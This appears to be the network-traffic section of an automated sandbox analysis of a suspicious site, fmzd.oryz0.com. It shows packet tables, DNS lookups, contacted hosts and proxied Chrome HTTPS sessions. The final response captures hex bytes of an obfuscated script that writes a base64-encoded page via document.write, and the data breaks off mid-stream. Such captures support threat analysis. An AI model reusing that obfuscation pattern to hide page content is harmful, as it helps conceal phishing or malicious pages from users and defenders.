May 23, 2024 10:32:12.084294081 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.085418940 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.086091042 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:12.086266041 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.086606979 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:12.130513906 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.736783981 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.737076044 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.737126112 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:12.737369061 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:12.737386942 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.737395048 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:12.737430096 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:14.020205975 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:14.020221949 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:30.594034910 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:30.594074965 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:30.594276905 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:30.594587088 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:30.594600916 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.079813957 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.082508087 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.082530022 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.083415031 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.083487988 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.083928108 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.083928108 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.083986998 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.138515949 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.138535023 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.185190916 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.228256941 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.228564024 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.228624105 CEST	443	49825	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.228724003 CEST	49825	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.229275942 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.229317904 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.229662895 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.229662895 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.229702950 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.751547098 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.795100927 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.813100100 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.813107967 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.816833019 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.816941023 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.817608118 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.817608118 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.817621946 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.818027020 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.872700930 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.872719049 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.919586897 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.980355024 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.980515957 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.980571985 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.980849028 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.980866909 CEST	443	49826	35.190.80.1	192.168.2.4
May 23, 2024 10:32:31.980875015 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:31.980909109 CEST	49826	443	192.168.2.4	35.190.80.1
May 23, 2024 10:32:32.749630928 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:32.749686003 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:32.749778986 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:32.749990940 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:32.750017881 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.237504959 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.237795115 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.237818956 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.238962889 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.239236116 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.239408970 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.239420891 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.279026031 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.279050112 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.912229061 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.912523031 CEST	443	49827	104.21.52.56	192.168.2.4
May 23, 2024 10:32:33.912599087 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.912599087 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:33.912643909 CEST	49827	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:53.938545942 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:53.938566923 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:53.938715935 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:53.939096928 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:53.939110994 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.429966927 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.430248022 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:54.430274963 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.430618048 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.431063890 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:54.431063890 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:54.431082010 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.431128025 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:54.482925892 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:55.123934984 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:55.124047041 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:32:55.124094963 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:55.124177933 CEST	49828	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:55.124196053 CEST	443	49828	104.21.52.56	192.168.2.4
May 23, 2024 10:33:01.291688919 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:01.291718006 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:01.291783094 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:01.292213917 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:01.292223930 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:01.993303061 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:01.994508028 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:01.994524002 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:01.994826078 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:01.995779037 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:01.995842934 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:02.044739008 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:11.902319908 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:11.902417898 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:11.902529001 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:13.655627966 CEST	49829	443	192.168.2.4	172.217.18.4
May 23, 2024 10:33:13.655648947 CEST	443	49829	172.217.18.4	192.168.2.4
May 23, 2024 10:33:15.023830891 CEST	53170	53	192.168.2.4	1.1.1.1
May 23, 2024 10:33:15.028789043 CEST	53	53170	1.1.1.1	192.168.2.4
May 23, 2024 10:33:15.029148102 CEST	53170	53	192.168.2.4	1.1.1.1
May 23, 2024 10:33:15.029570103 CEST	53170	53	192.168.2.4	1.1.1.1
May 23, 2024 10:33:15.090898991 CEST	53	53170	1.1.1.1	192.168.2.4
May 23, 2024 10:33:15.484266996 CEST	53	53170	1.1.1.1	192.168.2.4
May 23, 2024 10:33:15.485023975 CEST	53170	53	192.168.2.4	1.1.1.1
May 23, 2024 10:33:15.522046089 CEST	53	53170	1.1.1.1	192.168.2.4
May 23, 2024 10:33:15.522504091 CEST	53170	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 10:30:56.793275118 CEST	53	62360	1.1.1.1	192.168.2.4
May 23, 2024 10:30:56.958417892 CEST	53	50271	1.1.1.1	192.168.2.4
May 23, 2024 10:30:58.026442051 CEST	53	49723	1.1.1.1	192.168.2.4
May 23, 2024 10:30:58.403515100 CEST	58447	53	192.168.2.4	1.1.1.1
May 23, 2024 10:30:58.406049013 CEST	57941	53	192.168.2.4	1.1.1.1
May 23, 2024 10:30:58.428560019 CEST	53	58447	1.1.1.1	192.168.2.4
May 23, 2024 10:30:58.466970921 CEST	53	57941	1.1.1.1	192.168.2.4
May 23, 2024 10:31:00.767549992 CEST	58230	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:00.767812967 CEST	63187	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:00.768974066 CEST	63667	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:00.769216061 CEST	60344	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:00.778342009 CEST	53	58230	1.1.1.1	192.168.2.4
May 23, 2024 10:31:00.783082962 CEST	53	63187	1.1.1.1	192.168.2.4
May 23, 2024 10:31:00.783092976 CEST	53	63667	1.1.1.1	192.168.2.4
May 23, 2024 10:31:00.783101082 CEST	53	60344	1.1.1.1	192.168.2.4
May 23, 2024 10:31:00.994297028 CEST	64599	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:00.994672060 CEST	62309	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:01.010432005 CEST	53	64599	1.1.1.1	192.168.2.4
May 23, 2024 10:31:01.019135952 CEST	53	62309	1.1.1.1	192.168.2.4
May 23, 2024 10:31:06.960176945 CEST	51423	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:06.960469961 CEST	64452	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:06.974112988 CEST	53	51423	1.1.1.1	192.168.2.4
May 23, 2024 10:31:06.974127054 CEST	53	64452	1.1.1.1	192.168.2.4
May 23, 2024 10:31:10.033055067 CEST	138	138	192.168.2.4	192.168.2.255
May 23, 2024 10:31:11.184781075 CEST	53	49902	1.1.1.1	192.168.2.4
May 23, 2024 10:31:15.431457043 CEST	53	56159	1.1.1.1	192.168.2.4
May 23, 2024 10:31:29.319719076 CEST	64901	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:29.321944952 CEST	61652	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:29.399310112 CEST	53	64901	1.1.1.1	192.168.2.4
May 23, 2024 10:31:29.399382114 CEST	53	61652	1.1.1.1	192.168.2.4
May 23, 2024 10:31:30.584038973 CEST	65346	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:30.584038973 CEST	65043	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:30.645154953 CEST	53	65346	1.1.1.1	192.168.2.4
May 23, 2024 10:31:30.645193100 CEST	53	65043	1.1.1.1	192.168.2.4
May 23, 2024 10:31:32.844043970 CEST	56074	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:32.844305992 CEST	61776	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:32.847039938 CEST	61167	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:32.847182035 CEST	54481	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:32.863609076 CEST	53	54481	1.1.1.1	192.168.2.4
May 23, 2024 10:31:32.863620996 CEST	53	61167	1.1.1.1	192.168.2.4
May 23, 2024 10:31:32.863626957 CEST	53	61776	1.1.1.1	192.168.2.4
May 23, 2024 10:31:32.863631964 CEST	53	56074	1.1.1.1	192.168.2.4
May 23, 2024 10:31:34.255951881 CEST	53	65023	1.1.1.1	192.168.2.4
May 23, 2024 10:31:37.149213076 CEST	53	55019	1.1.1.1	192.168.2.4
May 23, 2024 10:31:49.161479950 CEST	64519	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:49.161809921 CEST	51434	53	192.168.2.4	1.1.1.1
May 23, 2024 10:31:49.195884943 CEST	53	51434	1.1.1.1	192.168.2.4
May 23, 2024 10:31:49.242655039 CEST	53	64519	1.1.1.1	192.168.2.4
May 23, 2024 10:31:56.723381042 CEST	53	62920	1.1.1.1	192.168.2.4
May 23, 2024 10:31:56.793487072 CEST	53	57344	1.1.1.1	192.168.2.4
May 23, 2024 10:32:25.137370110 CEST	53	60956	1.1.1.1	192.168.2.4
May 23, 2024 10:33:10.969254971 CEST	53	61650	1.1.1.1	192.168.2.4
May 23, 2024 10:33:15.023317099 CEST	53	53587	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 23, 2024 10:30:58.467062950 CEST	192.168.2.4	1.1.1.1	c22d	(Port unreachable)	Destination Unreachable
May 23, 2024 10:31:37.149280071 CEST	192.168.2.4	1.1.1.1	c21e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 23, 2024 10:30:58.403515100 CEST	192.168.2.4	1.1.1.1	0x952a	Standard query (0)	fmzd.oryz0.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:30:58.406049013 CEST	192.168.2.4	1.1.1.1	0xea6a	Standard query (0)	fmzd.oryz0.com	65	IN (0x0001)	false
May 23, 2024 10:31:00.767549992 CEST	192.168.2.4	1.1.1.1	0xe477	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.767812967 CEST	192.168.2.4	1.1.1.1	0x4f13	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
May 23, 2024 10:31:00.768974066 CEST	192.168.2.4	1.1.1.1	0xd4fa	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.769216061 CEST	192.168.2.4	1.1.1.1	0xd0c1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 23, 2024 10:31:00.994297028 CEST	192.168.2.4	1.1.1.1	0xc74d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.994672060 CEST	192.168.2.4	1.1.1.1	0x7fb7	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 23, 2024 10:31:06.960176945 CEST	192.168.2.4	1.1.1.1	0x593a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:06.960469961 CEST	192.168.2.4	1.1.1.1	0x505	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
May 23, 2024 10:31:29.319719076 CEST	192.168.2.4	1.1.1.1	0xf9fc	Standard query (0)	fmzd.oryz0.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:29.321944952 CEST	192.168.2.4	1.1.1.1	0x68d3	Standard query (0)	fmzd.oryz0.com	65	IN (0x0001)	false
May 23, 2024 10:31:30.584038973 CEST	192.168.2.4	1.1.1.1	0x5af2	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:30.584038973 CEST	192.168.2.4	1.1.1.1	0xef00	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
May 23, 2024 10:31:32.844043970 CEST	192.168.2.4	1.1.1.1	0x8aef	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.844305992 CEST	192.168.2.4	1.1.1.1	0xbeea	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
May 23, 2024 10:31:32.847039938 CEST	192.168.2.4	1.1.1.1	0x61bc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.847182035 CEST	192.168.2.4	1.1.1.1	0xc366	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 23, 2024 10:31:49.161479950 CEST	192.168.2.4	1.1.1.1	0x4dc2	Standard query (0)	fmzd.oryz0.com	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:49.161809921 CEST	192.168.2.4	1.1.1.1	0xac20	Standard query (0)	fmzd.oryz0.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 23, 2024 10:30:58.428560019 CEST	1.1.1.1	192.168.2.4	0x952a	No error (0)	fmzd.oryz0.com		104.21.52.56	A (IP address)	IN (0x0001)	false
May 23, 2024 10:30:58.428560019 CEST	1.1.1.1	192.168.2.4	0x952a	No error (0)	fmzd.oryz0.com		172.67.195.241	A (IP address)	IN (0x0001)	false
May 23, 2024 10:30:58.466970921 CEST	1.1.1.1	192.168.2.4	0xea6a	No error (0)	fmzd.oryz0.com			65	IN (0x0001)	false
May 23, 2024 10:31:00.778342009 CEST	1.1.1.1	192.168.2.4	0xe477	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.778342009 CEST	1.1.1.1	192.168.2.4	0xe477	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.778342009 CEST	1.1.1.1	192.168.2.4	0xe477	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.778342009 CEST	1.1.1.1	192.168.2.4	0xe477	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.783092976 CEST	1.1.1.1	192.168.2.4	0xd4fa	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.783092976 CEST	1.1.1.1	192.168.2.4	0xd4fa	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:00.783101082 CEST	1.1.1.1	192.168.2.4	0xd0c1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 23, 2024 10:31:01.010432005 CEST	1.1.1.1	192.168.2.4	0xc74d	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:01.019135952 CEST	1.1.1.1	192.168.2.4	0x7fb7	No error (0)	www.google.com			65	IN (0x0001)	false
May 23, 2024 10:31:06.974112988 CEST	1.1.1.1	192.168.2.4	0x593a	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:06.974112988 CEST	1.1.1.1	192.168.2.4	0x593a	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:06.974127054 CEST	1.1.1.1	192.168.2.4	0x505	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
May 23, 2024 10:31:29.399310112 CEST	1.1.1.1	192.168.2.4	0xf9fc	No error (0)	fmzd.oryz0.com		172.67.195.241	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:29.399310112 CEST	1.1.1.1	192.168.2.4	0xf9fc	No error (0)	fmzd.oryz0.com		104.21.52.56	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:29.399382114 CEST	1.1.1.1	192.168.2.4	0x68d3	No error (0)	fmzd.oryz0.com			65	IN (0x0001)	false
May 23, 2024 10:31:30.645154953 CEST	1.1.1.1	192.168.2.4	0x5af2	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.863609076 CEST	1.1.1.1	192.168.2.4	0xc366	No error (0)	www.google.com			65	IN (0x0001)	false
May 23, 2024 10:31:32.863620996 CEST	1.1.1.1	192.168.2.4	0x61bc	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.863626957 CEST	1.1.1.1	192.168.2.4	0xbeea	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 23, 2024 10:31:32.863631964 CEST	1.1.1.1	192.168.2.4	0x8aef	No error (0)	cdn.socket.io	d2vgu95hoyrpkh.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 23, 2024 10:31:32.863631964 CEST	1.1.1.1	192.168.2.4	0x8aef	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.11	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.863631964 CEST	1.1.1.1	192.168.2.4	0x8aef	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.47	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.863631964 CEST	1.1.1.1	192.168.2.4	0x8aef	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.97	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:32.863631964 CEST	1.1.1.1	192.168.2.4	0x8aef	No error (0)	d2vgu95hoyrpkh.cloudfront.net		13.227.219.40	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:49.195884943 CEST	1.1.1.1	192.168.2.4	0xac20	No error (0)	fmzd.oryz0.com			65	IN (0x0001)	false
May 23, 2024 10:31:49.242655039 CEST	1.1.1.1	192.168.2.4	0x4dc2	No error (0)	fmzd.oryz0.com		104.21.52.56	A (IP address)	IN (0x0001)	false
May 23, 2024 10:31:49.242655039 CEST	1.1.1.1	192.168.2.4	0x4dc2	No error (0)	fmzd.oryz0.com		172.67.195.241	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fmzd.oryz0.com

https:

code.jquery.com

challenges.cloudflare.com

www.google.com

cdn.socket.io

slscr.update.microsoft.com

fs.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:00 UTC	649	OUT	GET /J4j5iUo/ HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:00 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pWhr3R2azHk8Tqii%2Bwqble8aiSbSCxnf46v9UehxxaD8uSXXClOVp%2FFyAtMm%2B54GqTDhyvmq%2FZZQiSqifQHNY53Mklguld18UeBCC4W2uBEW2USKt0LcDFuzBE61%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6InEzTUNFS3lIQjg3UGo2VmtvMEdMakE9PSIsInZhbHVlIjoiWEZEWGdhOE01S0VpVkM3SXNXZ2FRdm5jUGl2dnVTTGpXOWhYYkZwbCtpWW1paGpwNTBFYkJ3UTZlRjBxQkxuN1FSSVloZllBNXhldG1Bc0FLdTdEOEM1VjNvOTcvTHp1RUxzWnQxREVOeE5QeXB3bkFzaDUvKzFHNkkwTVAyR28iLCJtYWMiOiI5NTRjODRiNTA3NTA0ODNjZDAxNjE0YzA4ZTU5NmY5OTUxYzJmNTU4NWMyMWUyNmE4MzcyY2EzYjVhYjFkYzgwIiwidGFnIjoiIn0%3D; expires=Thu, 23-May-2024 10:31:00 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-05-23 08:31:00 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 6c 68 54 33 52 69 4e 55 74 32 51 33 55 31 57 58 4a 46 5a 55 39 78 54 6a 4e 6e 61 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4f 44 52 4e 52 56 4a 72 53 55 78 74 51 6d 51 72 64 45 68 32 4b 30 5a 79 4d 55 5a 46 64 47 78 58 53 44 67 32 4d 58 4e 32 4d 45 5a 34 51 6d 74 78 52 6a 4d 33 57 56 6c 56 54 54 4a 53 54 54 49 72 61 45 46 42 4e 56 6c 54 4d 55 70 78 4d 32 68 46 62 45 67 79 56 56 4a 4b 51 31 68 77 53 6a 68 36 57 6b 63 31 4e 32 5a 72 55 46 6c 6f 63 30 35 36 4e 47 74 33 4d 47 46 6b 4e 44 52 55 51 55 64 7a 63 6e 42 71 63 48 4e 35 51 58 42 55 52 31 42 43 4f 45 39 59 62 56 63 72 62 56 6b 32 56 48 70 35 5a 30 31 50 54 58 56 53 51 33 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InlhT3RiNUt2Q3U1WXJFZU9xTjNna2c9PSIsInZhbHVlIjoiODRNRVJrSUxtQmQrdEh2K0ZyMUZFdGxXSDg2MXN2MEZ4QmtxRjM3WVlVTTJSTTIraEFBNVlTMUpxM2hFbEgyVVJKQ1hwSjh6Wkc1N2ZrUFloc056NGt3MGFkNDRUQUdzcnBqcHN5QXBUR1BCOE9YbVcrbVk2VHp5Z01PTXVSQ3I
2024-05-23 08:31:00 UTC	1369	IN	Data Raw: 31 33 66 61 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 